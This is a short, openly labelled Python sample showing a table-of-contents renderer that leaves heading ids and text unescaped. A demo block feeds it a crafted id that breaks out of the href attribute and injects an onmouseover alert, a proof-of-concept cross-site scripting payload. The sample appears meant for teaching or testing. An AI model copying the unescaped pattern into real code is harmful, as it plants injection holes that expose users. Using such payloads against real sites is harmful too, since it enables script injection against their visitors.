Vulnerable code sample

#!/usr/bin/env python3

def render_toc_ul(toc):
    """
    A representative vulnerable function that renders a Table of Contents.
    This function does not escape the 'id' or 'text' values, leading to
    an HTML injection vulnerability.
    """
    html = '<ul>\n'
    for level, id_val, text_val in toc:
        # The vulnerability is in the f-string below, which does not escape inputs.
        # An attacker can inject HTML attributes or tags via id_val or text_val.
        html += f'  <li><a href="#{id_val}">{text_val}</a></li>\n'
    html += '</ul>'
    return html

# --- Demonstration of the exploit ---

if __name__ == '__main__':
    # A legitimate heading
    safe_heading = (1, 'safe-heading-id', 'This is a Safe Heading')

    # A crafted, malicious heading.
    # The 'id' value is crafted to break out of the href attribute
    # and inject an 'onmouseover' event handler.
    malicious_id = 'malicious-id" onmouseover="alert(\'XSS executed!\')'
    malicious_heading = (1, malicious_id, 'Hover over me for a surprise')

    # The list of headings to be rendered in the table of contents
    table_of_contents_data = [
        safe_heading,
        malicious_heading,
    ]

    # Generate the vulnerable HTML output
    vulnerable_output = render_toc_ul(table_of_contents_data)

    print("--- Generated Vulnerable HTML ---")
    print(vulnerable_output)
    print("\nTo see the exploit, save the output above as an HTML file and open it")
    print("in a web browser. Hovering your mouse over the second link will")
    print("trigger the JavaScript alert.")